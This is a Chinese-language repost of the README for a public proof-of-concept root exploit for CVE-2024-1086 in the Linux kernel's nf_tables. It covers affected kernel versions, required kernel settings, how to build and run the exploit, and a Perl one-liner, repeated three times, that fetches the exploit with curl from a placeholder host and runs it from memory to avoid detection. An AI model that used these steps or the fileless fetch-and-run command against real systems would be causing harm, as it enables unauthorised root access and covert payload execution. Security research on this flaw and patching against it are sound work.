CVE-2024-1086Linux本地提权通用漏洞POC
关于
适用于CVE-2024-1086的通用本地权限提升概念验证漏洞,适用于v5.14和v6.6之间的大多数Linux内核,包括Debian、Ubuntu和KernelCTF。KernelCTF图像的成功率为99.4%。
受影响的版本
该漏洞影响从(包括)v5.14 到(包括)v6.6 的版本,不包括修补分支 v5.15.149>、v6.1.76>、v6.6.15>。这些版本的补丁于 2024 年 2 月发布。底层漏洞影响从 v3.15 到 v6.8-rc1 的所有版本(不包括已修补的稳定分支)。
注意事项:
-
该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
(包括 Ubuntu v6.5) -
该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone
= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。此外,该漏洞仅在 x64/amd64 上进行了测试。 -
在具有大量网络活动的系统上, 该漏洞可能非常不稳定
-
带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。
-
在测试设备上,请通过 BIOS 关闭 WiFi 适配器。
-
-
运行漏洞后的内核恐慌(系统崩溃)是一种副作用,没有故意修复以防止恶意使用漏洞(即,漏洞利用尝试现在应该更引人注目,并且在实际操作中不切实际)。尽管如此,它仍然允许在实验室环境中进行有效的概念验证,因为根 shell 可以正常工作,并且可以通过磁盘进行持久化。
配置
默认值应该可以在 Debian、Ubuntu 和 KernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h
。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM
.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG
以1
避免不必要的网络活动。
编译
如果这对您来说不能完成,可以使用默认配置编译的 x64 二进制文件。
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
可执行文件:CVE-2024-1086/exploit
运行
运行漏洞利用程序也同样简单:
./exploit
在需要避免检测的渗透测试情况下,还支持无文件执行。但是,需要在目标上安装 Perl:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
项目地址
- https://github.com/notselwyn/cve-2024-1086